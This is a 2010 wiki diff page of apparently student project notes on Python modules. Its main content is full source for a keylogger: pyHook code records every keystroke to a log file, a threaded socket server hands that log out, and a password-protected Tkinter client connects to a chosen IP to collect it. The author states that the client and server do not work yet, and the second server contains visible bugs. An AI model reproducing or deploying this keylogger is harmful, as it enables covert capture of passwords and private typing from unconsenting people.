User Tools

Site Tools


notes:notes:projects:jcardina

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

notes:notes:projects:jcardina [2010/03/31 13:09] (current)
Line 1: Line 1:
 +==Projects==
 +ok so lately i have been looking alot into python ive come out with a bit of information
 +ive been looking at things like
  
 + ​*pyHook
 + *re
 + ​*pythoncom
 + ​*sockets
 + ​*threads
 + 
 +
 +__pyHook__
 +\\
 +the functions avalable in this let you get inbetween the mouse/​keyboard drives and the operating system allowing to get mouse position and keyspressed
 +
 +__re__
 +\\
 +this allows the use of regular expressions in python
 +
 +__sockets__
 +\\
 +gives us the ability to use python for low level network programming.
 +
 +__threads__
 +\\ 
 +ability to create threads to run modules or classes as threads in your program.. i used this in mine to avoide a freeze on the server program.. i had the whole server conection run under a new thread so that the Computer wouldent lock up while waiting for a client connection.. basically it allowed me to set up the server and run my keylooger at the same time!\\
 +\\
 +\\
 +server program
 +<​code>​
 +import pyHook
 +import pythoncom
 +import socket
 +from threading import Thread
 +
 +def connection():​
 +    while 1:
 +        filename = "​C:​\\Log.txt"​
 +        serversocket = socket.socket(socket.AF_INET,​ socket.SOCK_STREAM)
 +        serversocket.bind(("​localhost",​ 5000))
 +        serversocket.listen(1)
 +        clientsocket,​ address = serversocket.accept()
 +        file = open(filename,​ "​r"​)
 +        data = file.read()
 +        file.close()
 +        clientsocket.send(data)
 +        file = open(filename,​ "​w"​)
 +        file.close()
 +
 +
 +
 +def KeyDown(event):​
 +    filename = "​C:​\\Log.txt"​
 +    char = event.Key
 +    key = event.Ascii
 +    if key <= 126 and key >= 33:
 +        key = chr(event.Ascii)
 +        file = open(filename,​ "​a"​)
 +        file.write(key)
 +        file.close()
 +    elif char == "​Space":​
 +        file = open(filename,​ "​a"​)
 +        file.write('​ ')
 +        file.close()
 +    elif char == "​Return":​
 +        file = open(filename,​ "​a"​)
 +        file.write("​\n"​)
 +        file.close()
 +    elif char == "​Back":​
 +        file = open(filename,​ "​a"​)
 +        file.write("​\b"​)
 +        file.close()
 +    return True
 +hm = pyHook.HookManager()
 +hm.KeyDown = KeyDown
 +hm.HookKeyboard()
 +
 +thread1 = Thread(target=connection)
 +thread1.start()
 +
 +pythoncom.PumpMessages()
 +
 +
 +        ​
 +</​code>​
 +\\
 +\\
 +\\
 +\\ Client and server not working yet
 +
 +
 +\\
 +client
 +<​code>​
 +import socket
 +from Tkinter import *
 +password = '​jon'​
 +
 +def errorWindowKill(error_window):​
 +    error_window.destroy()
 +
 +def pwdin():
 +    key = ent.get()
 +    if key != password:
 +       print 'Need to replace with window error or label error'
 +       ​error_window = Toplevel(takefocus =1, relief = '​ridge'​)
 +       ​error_window.geometry("​120x60+500+500"​)
 +       ​error_msg = Label(error_window,​ text = '​Incorrect',​ justify = "​center",​ font = ("​Times",​ 16,))
 +       ​ok_button = Button(error_window,​ text = '​Ok',​ justify = "​center",​height = 1, width = 10, command = lambda : errorWindowKill(error_window))
 +       ​error_msg.pack()
 +       ​ok_button.pack()
 +    else:
 +        pwdcheck.destroy()
 +        instructions()
 +
 +def instructions():​
 +    greeting = Label(root, text = '​Welcome'​)
 +    greeting.pack()
 +    connectButton.pack(side = "​left"​)
 +    getLogButton.pack(side = "​left"​)
 +    #​connectButton.grid(row = 0, column = 0)
 +    #​getLogButton.grid(row = 0, column = 1)
 +
 +
 +#####################################################​
 +#added this function to get ip address and port from#
 +#user to explain starting at line 1                 #
 +#create new window assign it to ipAddrWindow ​       #
 +#create text label so user knows what to do         #
 +#create entry for ip address ​                       #
 +#text for port                                      #
 +#entry box for port                                 #
 +#create ok button giving it the command socket have #
 +#not created this function yet                      #
 +#pack everything so it shows up                     #
 +#####################################################​
 +def ip_grab():
 +    global iptext
 +    global porttext
 +    global ipAddrWindow
 +
 +    ipAddrWindow = Toplevel()
 +    prompt = Label(ipAddrWindow,​ text = 'Enter IP Address'​)
 +    iptext = Entry(ipAddrWindow,​ bg = '​white'​)
 +    portpromt = Label(ipAddrWindow,​ text = 'Enter Port Number'​)
 +    porttext = Entry(ipAddrWindow,​ bg = '​white'​)
 +    okbut = Button(ipAddrWindow,​ text = "​OK",​ command = socket)
 +    prompt.pack()
 +    iptext.pack()
 +    portpromt.pack()
 +    porttext.pack()
 +    okbut.pack()
 +
 +def socket():
 +    import socket
 +    global ip, port, client_socket
 +    ip = iptext.get()
 +    port = porttext.get()
 +    ipAddrWindow.destroy()
 +    client_socket = socket.socket(socket.AF_INET,​ socket.SOCK_STREAM)
 +    client_socket.connect((ip,​ int(port)))
 +
 +def log_grab():
 +    filename = "​C:​\\Python26\\log1.txt"​
 +    BUFSIZE = 1024
 +    flag = 1
 +    client_socket.send(flag)
 +    while flag == 1:
 +        data = client_socket.recv(BUFSIZE)
 +        if data:
 +            file = open(filename,​ "​a"​)
 +            file.write(data)
 +        else:
 +            file.write(data)
 +            flag = 0
 +            break
 +    file.close()
 +####################################################​
 +#Create Main Window ​                               #
 +#Create Password Window ​                           #
 +#Create label promt password text                  #
 +#Create Entry Box for password window backrnd white#
 +#Pack all three widgits ​                           #
 +####################################################​
 +
 +root = Tk()
 +root.title('​Log'​)
 +pwdcheck = Toplevel(bd = 10, takefocus =1, relief = '​ridge'​)
 +pwdcheck.geometry("​200x80+500+500"​)
 +pwdcheck.resizable(width = 0, height = 0)
 +passtxt = Label(pwdcheck,​ text = '​Password'​)
 +ent = Entry(pwdcheck,​ bg = '​white',​ show = '​*',​ justify = CENTER)
 +button = Button(pwdcheck,​ text = '​OK',​ command = pwdin, height = 10, width = 15)
 +ent.focus()
 +passtxt.pack()
 +ent.pack()
 +button.pack()
 +
 +connectButton = Button(root,​ text = '​Connect',​ pady = 10, padx = 10, command = ip_grab)
 +getLogButton = Button(root,​ text = 'Get Log', pady = 10, padx = 10, command = log_grab)
 +root.mainloop()
 +
 +
 +</​code>​
 +
 +
 +\\
 +server
 +<​code>​
 +import pyHook
 +import pythoncom
 +import socket
 +from threading import Thread
 +
 +def connection():​
 +    while 1:
 +        filename = "​C:​\\Python26\\log.txt"​
 +        serversocket = socket.socket(socket.AF_INET,​ socket.SOCK_STREAM)
 +        serversocket.bind(("​localhost",​ 5000))
 +        serversocket.listen(5)
 +        client_socket,​ address = serversocket.accept()
 +        data = serversocket.recv(1024)
 +        if data == 1:   
 +            file = open(filename,​ "​r"​)
 +            data = file.read()
 +            file.close()
 +            clientsocket.send(data)
 +            file = open(filename,​ "​w"​)
 +            file.close()
 +        else:
 +            print "error with flag"
 +            ​
 +
 +
 +def KeyDown(event):​
 +    filename = "​C:​\\Python26\\log.txt"​
 +    char = event.Key
 +    key = event.Ascii
 +    if key <= 126 and key >= 33:
 +        key = chr(event.Ascii)
 +        file = open(filename,​ "​a"​)
 +        file.write(key)
 +        file.close()
 +    elif char == "​Space":​
 +        file = open(filename,​ "​a"​)
 +        file.write('​ ')
 +        file.close()
 +    elif char == "​Return":​
 +        file = open(filename,​ "​a"​)
 +        file.write("​\n"​)
 +        file.close()
 +    elif char == "​Back":​
 +        file = open(filename,​ "​a"​)
 +        file.write("​\b"​)
 +        file.close()
 +    return True
 +hm = pyHook.HookManager()
 +hm.KeyDown = KeyDown
 +hm.HookKeyboard()
 +
 +thread1 = Thread(target=connection)
 +thread1.start()
 +
 +pythoncom.PumpMessages()
 +</​code>​
 +
 +\\
 +\\
 +garble garble garble
 +
 +ok so the way im going to invision this  a computer is like a messanger on horse.. so when their is no message their is no need for anything to be done.. as soon as their is a message however things get started.. the messanger first has to go to the address where he picks up this message after picking it up he then has to decode the message that was given to him and then follow the instructions to get it to where the message needs to go. from their someone could possibly want to send another message to someone else or maybe a return message.. at this point the messanger again has to decode the message and follow the instructions to get the message to where it needs to go to go more in depth. the messanger might have to follow instructions on how to build certain things to get the message to where it needs to be or maybe the thing he builds is the message he might also need to make decsisions on what could be the quickest route to get the mail to where it needs to be or maybe if he should stop because its raining or his horse needs water.
notes/notes/projects/jcardina.txt · Last modified: 2010/03/31 13:09 (external edit)